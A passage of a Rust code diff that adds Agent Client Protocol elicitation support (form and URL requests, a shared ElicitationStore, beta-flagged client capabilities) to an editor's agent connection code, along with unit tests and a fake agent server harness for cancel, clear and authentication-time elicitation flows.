+                        *elicitation_action.borrow_mut() = Some(response.action);
+                    })
+                    .detach();
+
+                    Ok(acp::PromptResponse::new(acp::StopReason::MaxTokens))
+                }
+                .boxed_local()
+            }
+        }));
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .expect("new session should succeed");
+
+        let result = thread
+            .update(cx, |thread, cx| thread.send(vec!["hello".into()], cx))
+            .await;
+
+        assert!(result.is_err());
+        cx.run_until_parked();
+        assert_eq!(
+            *elicitation_action.borrow(),
+            Some(acp::ElicitationAction::Cancel)
+        );
+        thread.read_with(cx, |thread, _| {
+            let Some(elicitation) = thread.entries().iter().find_map(|entry| match entry {
+                AgentThreadEntry::Elicitation(id) => {
+                    thread.elicitation(id).map(|(_, elicitation)| elicitation)
+                }
+                _ => None,
+            }) else {
+                panic!("expected an elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_cancel_request_scoped_elicitation_resolves_cancel(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+
+        let (elicitation_id, response_task) = store.update(cx, |store, cx| {
+            store
+                .request_elicitation_with_id(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        store.update(cx, |store, cx| {
+            store.cancel_elicitation(&elicitation_id, cx);
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Cancel);
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_request_elicitation_store_cancel_all_resolves_cancel(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+
+        let response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        store.update(cx, |store, cx| {
+            store.cancel_all(cx);
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Cancel);
+    }
+
+    #[gpui::test]
+    async fn test_request_elicitation_store_clear_removes_answered_and_cancels_pending(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+
+        let first_response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+        let second_response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(2)),
+                            acp::ElicitationSchema::new().string("account", true),
+                        ),
+                        "Provide an account",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let first_elicitation_id = store.read_with(cx, |store, _| {
+            let [first, _second] = store.elicitations() else {
+                panic!("expected two elicitations, got {:?}", store.elicitations());
+            };
+            first.id.clone()
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &first_elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+            store.clear(cx);
+        });
+
+        assert_eq!(
+            first_response_task.await.action,
+            acp::ElicitationAction::Decline
+        );
+        assert_eq!(
+            second_response_task.await.action,
+            acp::ElicitationAction::Cancel
+        );
+        store.read_with(cx, |store, _| assert!(store.elicitations().is_empty()));
+    }
+
+    #[gpui::test]
+    async fn test_request_elicitation_store_clear_resolved_preserves_outstanding(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+
+        let accepted_response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+        let pending_response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(2)),
+                            acp::ElicitationSchema::new().string("account", true),
+                        ),
+                        "Provide an account",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+        let accepted_url_response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(3)),
+                            url_elicitation_id,
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let (accepted_id, pending_id, accepted_url_id) = store.read_with(cx, |store, _| {
+            let [accepted, pending, accepted_url] = store.elicitations() else {
+                panic!(
+                    "expected three request-scoped elicitations, got {:?}",
+                    store.elicitations()
+                );
+            };
+            (
+                accepted.id.clone(),
+                pending.id.clone(),
+                accepted_url.id.clone(),
+            )
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &accepted_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+            store.respond_to_elicitation(
+                &accepted_url_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        assert!(matches!(
+            accepted_response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        assert!(matches!(
+            accepted_url_response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+
+        let cleared_ids = store.update(cx, |store, cx| store.clear_resolved(cx));
+        assert_eq!(cleared_ids, vec![accepted_id]);
+        store.read_with(cx, |store, _| {
+            let [pending, accepted_url] = store.elicitations() else {
+                panic!(
+                    "expected pending and accepted url elicitations, got {:?}",
+                    store.elicitations()
+                );
+            };
+            assert_eq!(pending.id, pending_id);
+            assert!(matches!(pending.status, ElicitationStatus::Pending { .. }));
+            assert_eq!(accepted_url.id, accepted_url_id);
+            assert!(matches!(accepted_url.status, ElicitationStatus::Accepted));
+        });
+
+        store.update(cx, |store, cx| store.clear(cx));
+        assert_eq!(
+            pending_response_task.await.action,
+            acp::ElicitationAction::Cancel
+        );
+    }
+
+    #[gpui::test]
+    async fn test_request_url_elicitation_store_can_be_completed(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+
+        let response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            url_elicitation_id.clone(),
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let entry_id = store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one request-scoped elicitation, got {:?}",
+                    store.elicitations()
+                );
+            };
+            elicitation.id.clone()
+        });
+
+        store.update(cx, |store, cx| {
+            store.complete_url_elicitation(&url_elicitation_id, cx);
+        });
+
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+        });
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Completed));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_request_url_elicitation_store_cancel_all_cancels_accepted_url(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+
+        let response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            url_elicitation_id.clone(),
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let entry_id = store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one elicitation entry, got {:?}",
+                    store.elicitations()
+                );
+            };
+            elicitation.id.clone()
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        store.update(cx, |store, cx| {
+            store.cancel_all(cx);
+        });
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+
+        store.update(cx, |store, cx| {
+            store.complete_url_elicitation(&url_elicitation_id, cx);
+        });
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_cancel_pending_elicitations_preserves_responded_statuses(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let elicitation_id = thread.read_with(cx, |thread, _| {
+            let (elicitation_id, _) = only_thread_elicitation(thread);
+            elicitation_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+            thread.cancel(cx).detach();
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Decline);
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Declined));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_session_elicitation_ignores_duplicate_response(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let elicitation_id = thread.read_with(cx, |thread, _| {
+            let (elicitation_id, _) = only_thread_elicitation(thread);
+            elicitation_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+            thread.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Decline);
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Declined));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_url_elicitation_rejects_invalid_url(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let result = thread.update(cx, |thread, cx| {
+            thread.request_elicitation(
+                acp::CreateElicitationRequest::new(
+                    acp::ElicitationUrlMode::new(
+                        acp::ElicitationSessionScope::new(session_id),
+                        "url-1",
+                        "not a url",
+                    ),
+                    "Complete this in the browser",
+                ),
+                cx,
+            )
+        });
+
+        assert!(result.is_err());
+        thread.read_with(cx, |thread, _| assert!(thread.entries().is_empty()));
+    }
+
     async fn run_until_first_tool_call(
         thread: &Entity<AcpThread>,
         cx: &mut TestAppContext,
diff --git a/crates/acp_thread/src/connection.rs b/crates/acp_thread/src/connection.rs
index 71c46d3e62272f..eaf51978b5d21a 100644
--- a/crates/acp_thread/src/connection.rs
+++ b/crates/acp_thread/src/connection.rs
@@ -1,4 +1,4 @@
-use crate::AcpThread;
+use crate::{AcpThread, ElicitationStore};
 use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use chrono::{DateTime, Utc};
@@ -201,6 +201,13 @@ pub trait AgentConnection {
 
     fn cancel(&self, session_id: &acp::SessionId, cx: &mut App);
 
+    /// Request-scoped elicitations are connection-level because they can arrive before a session
+    /// thread exists. Session-scoped elicitations stay in the thread timeline, but use
+    /// `ElicitationStore` for shared processing.
+    fn request_elicitations(&self) -> Option<Entity<ElicitationStore>> {
+        None
+    }
+
     fn truncate(
         &self,
         _session_id: &acp::SessionId,
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index 708d1c716874f4..9acc88da7556cf 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -1,6 +1,6 @@
 use acp_thread::{
     AgentConnection, AgentSessionInfo, AgentSessionList, AgentSessionListRequest,
-    AgentSessionListResponse,
+    AgentSessionListResponse, ElicitationStore,
 };
 use action_log::ActionLog;
 use agent_client_protocol::schema::{
@@ -269,6 +269,7 @@ impl<T> FlattenAcpResult<T> for Result<Result<T, acp::Error>, anyhow::Error> {
 struct ClientContext {
     sessions: Rc<RefCell<HashMap<acp::SessionId, AcpSession>>>,
     session_list: Rc<RefCell<Option<Rc<AcpSessionList>>>>,
+    request_elicitations: Entity<ElicitationStore>,
 }
 
 fn dispatch_queue_closed_error() -> acp::Error {
@@ -394,6 +395,7 @@ pub struct AcpConnection {
     auth_methods: Vec<acp::AuthMethod>,
     agent_server_store: WeakEntity<AgentServerStore>,
     agent_capabilities: acp::AgentCapabilities,
+    request_elicitations: Entity<ElicitationStore>,
     defaults: AcpConnectionDefaults,
     child: Option<Child>,
     session_list: Option<Rc<AcpSessionList>>,
@@ -726,11 +728,19 @@ fn connect_client_future(
             on_request!(handle_wait_for_terminal_exit),
             agent_client_protocol::on_receive_request!(),
         )
+        .on_receive_request(
+            on_request!(handle_create_elicitation),
+            agent_client_protocol::on_receive_request!(),
+        )
         // --- Notification handlers (agent→client) ---
         .on_receive_notification(
             on_notification!(handle_session_notification),
             agent_client_protocol::on_receive_notification!(),
         )
+        .on_receive_notification(
+            on_notification!(handle_complete_elicitation),
+            agent_client_protocol::on_receive_notification!(),
+        )
         .connect_with(
             transport,
             move |connection: ConnectionTo<Agent>| async move {
@@ -745,7 +755,7 @@ fn connect_client_future(
 
 fn client_capabilities_for_agent(
     agent_id: &AgentId,
-    supports_boolean_config_options: bool,
+    supports_beta_features: bool,
 ) -> acp::ClientCapabilities {
     let mut meta = acp::Meta::from_iter([
         ("terminal_output".into(), true.into()),
@@ -764,13 +774,19 @@ fn client_capabilities_for_agent(
         .auth(acp::AuthCapabilities::new().terminal(true))
         .meta(meta);
 
-    if supports_boolean_config_options {
-        capabilities = capabilities.session(
-            acp::ClientSessionCapabilities::new().config_options(
-                acp::SessionConfigOptionsCapabilities::new()
-                    .boolean(acp::BooleanConfigOptionCapabilities::new()),
-            ),
-        );
+    if supports_beta_features {
+        capabilities = capabilities
+            .elicitation(
+                acp::ElicitationCapabilities::new()
+                    .form(acp::ElicitationFormCapabilities::new())
+                    .url(acp::ElicitationUrlCapabilities::new()),
+            )
+            .session(
+                acp::ClientSessionCapabilities::new().config_options(
+                    acp::SessionConfigOptionsCapabilities::new()
+                        .boolean(acp::BooleanConfigOptionCapabilities::new()),
+                ),
+            );
     }
 
     capabilities
@@ -861,6 +877,7 @@ impl AcpConnection {
 
         let client_session_list: Rc<RefCell<Option<Rc<AcpSessionList>>>> =
             Rc::new(RefCell::new(None));
+        let request_elicitations = cx.new(|_| ElicitationStore::default());
 
         // Set up the foreground dispatch channel for bridging Send handler
         // closures to the !Send foreground thread.
@@ -950,6 +967,7 @@ impl AcpConnection {
         let dispatch_context = ClientContext {
             sessions: sessions.clone(),
             session_list: client_session_list.clone(),
+            request_elicitations: request_elicitations.clone(),
         };
         let dispatch_task = cx.spawn({
             let mut dispatch_rx = dispatch_rx;
@@ -1075,6 +1093,7 @@ impl AcpConnection {
             sessions,
             pending_sessions: Rc::new(RefCell::new(HashMap::default())),
             agent_capabilities: response.agent_capabilities,
+            request_elicitations,
             defaults,
             session_list,
             debug_log,
@@ -1096,6 +1115,7 @@ impl AcpConnection {
         connection: ConnectionTo<Agent>,
         sessions: Rc<RefCell<HashMap<acp::SessionId, AcpSession>>>,
         agent_capabilities: acp::AgentCapabilities,
+        request_elicitations: Entity<ElicitationStore>,
         agent_server_store: WeakEntity<AgentServerStore>,
         io_task: Task<()>,
         dispatch_task: Task<()>,
@@ -1115,6 +1135,7 @@ impl AcpConnection {
             auth_methods: vec![],
             agent_server_store,
             agent_capabilities,
+            request_elicitations,
             defaults,
             child: None,
             session_list: None,
@@ -1993,6 +2014,10 @@ impl AgentConnection for AcpConnection {
         self.connection.send_notification(params).log_err();
     }
 
+    fn request_elicitations(&self) -> Option<Entity<ElicitationStore>> {
+        Some(self.request_elicitations.clone())
+    }
+
     fn session_modes(
         &self,
         session_id: &acp::SessionId,
@@ -2073,6 +2098,10 @@ pub mod test_support {
         load_session_count: Arc<AtomicUsize>,
         close_session_count: Arc<AtomicUsize>,
         fail_next_prompt: Arc<AtomicBool>,
+        auth_elicitation_request: Arc<Mutex<Option<acp::CreateElicitationRequest>>>,
+        auth_elicitation_response:
+            Arc<Mutex<Option<async_channel::Sender<acp::CreateElicitationResponse>>>>,
+        auth_elicitation_completion: Arc<Mutex<Option<acp::CompleteElicitationNotification>>>,
         exit_status_sender:
             Arc<std::sync::Mutex<Option<async_channel::Sender<std::process::ExitStatus>>>>,
     }
@@ -2105,6 +2134,23 @@ pub mod test_support {
         pub fn fail_next_prompt(&self) {
             self.fail_next_prompt.store(true, Ordering::SeqCst);
         }
+
+        pub fn request_elicitation_during_auth(
+            &self,
+            request: acp::CreateElicitationRequest,
+        ) -> async_channel::Receiver<acp::CreateElicitationResponse> {
+            let (response_tx, response_rx) = async_channel::bounded(1);
+            *self
+                .auth_elicitation_request
+                .lock()
+                .expect("auth elicitation request lock should not be poisoned") = Some(request);
+            *self
+                .auth_elicitation_response
+                .lock()
+                .expect("auth elicitation response lock should not be poisoned") =
+                Some(response_tx);
+            response_rx
+        }
     }
 
     impl crate::AgentServer for FakeAcpAgentServer {
@@ -2125,6 +2171,9 @@ pub mod test_support {
             let load_session_count = self.load_session_count.clone();
             let close_session_count = self.close_session_count.clone();
             let fail_next_prompt = self.fail_next_prompt.clone();
+            let auth_elicitation_request = self.auth_elicitation_request.clone();
+            let auth_elicitation_response = self.auth_elicitation_response.clone();
+            let auth_elicitation_completion = self.auth_elicitation_completion.clone();
             let exit_status_sender = self.exit_status_sender.clone();
             cx.spawn(async move |cx| {
                 let harness = build_fake_acp_connection(
@@ -2132,6 +2181,9 @@ pub mod test_support {
                     load_session_count,
                     close_session_count,
                     fail_next_prompt,
+                    auth_elicitation_request,
+                    auth_elicitation_response,
+                    auth_elicitation_completion,
                     cx,
                 )
                 .await?;
@@ -2303,6 +2355,10 @@ pub mod test_support {
             self.inner.cancel(session_id, cx)
         }
 
+        fn request_elicitations(&self) -> Option<Entity<ElicitationStore>> {
+            self.inner.request_elicitations()
+        }
+
         fn truncate(
             &self,
             session_id: &acp::SessionId,
@@ -2353,6 +2409,11 @@ pub mod test_support {
         load_session_count: Arc<AtomicUsize>,
         close_session_count: Arc<AtomicUsize>,
         fail_next_prompt: Arc<AtomicBool>,
+        auth_elicitation_request: Arc<Mutex<Option<acp::CreateElicitationRequest>>>,
+        auth_elicitation_response: Arc<
+            Mutex<Option<async_channel::Sender<acp::CreateElicitationResponse>>>,
+        >,
+        auth_elicitation_completion: Arc<Mutex<Option<acp::CompleteElicitationNotification>>>,
         cx: &mut AsyncApp,
     ) -> Result<FakeAcpConnectionHarness> {
         let (client_transport, agent_transport) = agent_client_protocol::Channel::duplex();
@@ -2382,8 +2443,41 @@ pub mod test_support {
                 agent_client_protocol::on_receive_request!(),
             )
             .on_receive_request(
-                async move |_req: acp::AuthenticateRequest, responder, _cx| {
-                    responder.respond(Default::default())
+                {
+                    let auth_elicitation_request = auth_elicitation_request.clone();
+                    let auth_elicitation_response = auth_elicitation_response.clone();
+                    let auth_elicitation_completion = auth_elicitation_completion.clone();
+                    async move |_req: acp::AuthenticateRequest, responder, cx| {
+                        let request = auth_elicitation_request
+                            .lock()
+                            .expect("auth elicitation request lock should not be poisoned")
+                            .take();
+                        let response_tx = auth_elicitation_response
+                            .lock()
+                            .expect("auth elicitation response lock should not be poisoned")
+                            .take();
+                        let completion = auth_elicitation_completion
+                            .lock()
+                            .expect("auth elicitation completion lock should not be poisoned")
+                            .take();
+
+                        if let Some(request) = request {
+                            cx.send_request(request)
+                                .on_receiving_result(async move |result| {
+                                    if let (Ok(response), Some(response_tx)) = (result, response_tx)
+                                    {
+                                        response_tx.send(response).await.ok();
+                                    }
+                                    responder.respond(Default::default())
+                                })?;
+                            if let Some(completion) = completion {
+                                cx.send_notification(completion)?;
+                            }
+                            Ok(())
+                        } else {
+                            responder.respond(Default::default())
+                        }
+                    }
                 },
                 agent_client_protocol::on_receive_request!(),
             )
@@ -2471,9 +2565,11 @@ pub mod test_support {
 
         let agent_capabilities = response.agent_capabilities;
 
+        let request_elicitations = cx.new(|_| ElicitationStore::default());
         let dispatch_context = ClientContext {
             sessions: sessions.clone(),
             session_list: client_session_list.clone(),
+            request_elicitations: request_elicitations.clone(),
         };
         let dispatch_task = cx.spawn({
             let mut dispatch_rx = dispatch_rx;
@@ -2492,6 +2588,7 @@ pub mod test_support {
                 client_conn,
                 sessions,
                 agent_capabilities,
+                request_elicitations,
                 agent_server_store,
                 client_io_task,
                 dispatch_task,
@@ -2527,11 +2624,77 @@ pub mod test_support {
             Arc::new(AtomicUsize::new(0)),
             Arc::new(AtomicUsize::new(0)),
             Arc::new(AtomicBool::new(false)),
+            Arc::new(Mutex::new(None)),
+            Arc::new(Mutex::new(None)),
+            Arc::new(Mutex::new(None)),
             &mut cx.to_async(),
         )
         .await
         .expect("failed to initialize ACP connection")
     }
+
+    #[cfg(test)]
+    pub async fn connect_fake_acp_connection_with_auth_elicitation(
+        project: Entity<Project>,
+        request: acp::CreateElicitationRequest,
+        cx: &mut gpui::TestAppContext,
+    ) -> (
+        FakeAcpConnectionHarness,
+        async_channel::Receiver<acp::CreateElicitationResponse>,
+    ) {
+        cx.update(|cx| {
+            let store = settings::SettingsStore::test(cx);
+            cx.set_global(store);
+        });
+
+        let (response_tx, response_rx) = async_channel::bounded(1);
+        let harness = build_fake_acp_connection(
+            project,
+            Arc::new(AtomicUsize::new(0)),
+            Arc::new(AtomicUsize::new(0)),
+            Arc::new(AtomicBool::new(false)),
+            Arc::new(Mutex::new(Some(request))),
+            Arc::new(Mutex::new(Some(response_tx))),
+            Arc::new(Mutex::new(None)),
+            &mut cx.to_async(),
+        )
+        .await
+        .expect("failed to initialize ACP connection");
+
+        (harness, response_rx)
+    }
+
+    #[cfg(test)]
+    pub async fn connect_fake_acp_connection_with_auth_elicitation_completion(
+        project: Entity<Project>,
+        request: acp::CreateElicitationRequest,
+        completion: acp::CompleteElicitationNotification,
+        cx: &mut gpui::TestAppContext,
+    ) -> (
+        FakeAcpConnectionHarness,
+        async_channel::Receiver<acp::CreateElicitationResponse>,
+    ) {
+        cx.update(|cx| {
+            let store = settings::SettingsStore::test(cx);
+            cx.set_global(store);
+        });
+
+        let (response_tx, response_rx) = async_channel::bounded(1);
+        let harness = build_fake_acp_connection(
+            project,
+            Arc::new(AtomicUsize::new(0)),
+            Arc::new(AtomicUsize::new(0)),
+            Arc::new(AtomicBool::new(false)),
+            Arc::new(Mutex::new(Some(request))),
+            Arc::new(Mutex::new(Some(response_tx))),
+            Arc::new(Mutex::new(Some(completion))),
+            &mut cx.to_async(),
+        )
+        .await
+        .expect("failed to initialize ACP connection");
+
+        (harness, response_rx)
+    }
 }
 
 #[cfg(test)]
@@ -2540,8 +2703,322 @@ mod tests {
 
     use super::*;
     use feature_flags::FeatureFlag as _;
+    use gpui::UpdateGlobal as _;
     use settings::Settings as _;
 
+    fn init_feature_flags_test(cx: &mut gpui::TestAppContext) {
+        cx.update(|cx| {
+            let mut settings_store = SettingsStore::test(cx);
+            settings_store.register_setting::<feature_flags::FeatureFlagsSettings>();
+            cx.set_global(settings_store);
+            cx.update_flags(false, vec![]);
+        });
+    }
+
+    fn set_acp_beta_override(value: &str, cx: &mut gpui::TestAppContext) {
+        cx.update(|cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |content| {
+                    content
+                        .feature_flags
+                        .get_or_insert_default()
+                        .insert(AcpBetaFeatureFlag::NAME.to_string(), value.to_string());
+                });
+            });
+        });
+    }
+
+    #[gpui::test]
+    async fn client_capabilities_omit_elicitation_without_acp_beta(cx: &mut gpui::TestAppContext) {
+        init_feature_flags_test(cx);
+        set_acp_beta_override("off", cx);
+
+        let capabilities = cx.update(|cx| {
+            client_capabilities_for_agent(
+                &AgentId::new("codex-acp"),
+                cx.has_flag::<AcpBetaFeatureFlag>(),
+            )
+        });
+
+        assert!(capabilities.elicitation.is_none());
+    }
+
+    #[gpui::test]
+    async fn client_capabilities_include_elicitation_with_acp_beta(cx: &mut gpui::TestAppContext) {
+        init_feature_flags_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let capabilities = cx.update(|cx| {
+            client_capabilities_for_agent(
+                &AgentId::new("codex-acp"),
+                cx.has_flag::<AcpBetaFeatureFlag>(),
+            )
+        });
+        let elicitation = capabilities
+            .elicitation
+            .expect("elicitation should be advertised when acp-beta is enabled");
+
+        assert!(elicitation.form.is_some());
+        assert!(elicitation.url.is_some());
+    }
+
+    #[gpui::test]
+    async fn request_scoped_elicitation_during_auth_uses_connection_store(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_feature_flags_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree("/", serde_json::json!({ "a": {} })).await;
+        let project = project::Project::test(fs, [std::path::Path::new("/a")], cx).await;
+
+        let request_id = acp::RequestId::Number(1);
+        let (harness, response_rx) =
+            test_support::connect_fake_acp_connection_with_auth_elicitation(
+                project,
+                acp::CreateElicitationRequest::new(
+                    acp::ElicitationFormMode::new(
+                        acp::ElicitationRequestScope::new(request_id.clone()),
+                        acp::ElicitationSchema::new().string("name", true),
+                    ),
+                    "Provide a name",
+                ),
+                cx,
+            )
+            .await;
+        let connection = harness.connection.clone();
+        let auth_task =
+            cx.update(|cx| connection.authenticate(acp::AuthMethodId::new("login"), cx));
+        cx.run_until_parked();
+
+        let store = connection
+            .request_elicitations()
+            .expect("ACP connections expose request-scoped elicitations");
+        let elicitation_id = store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one request-scoped elicitation, got {:?}",
+                    store.elicitations()
+                );
+            };
+            let acp::ElicitationScope::Request(scope) = elicitation.request.scope() else {
+                panic!("expected request-scoped elicitation");
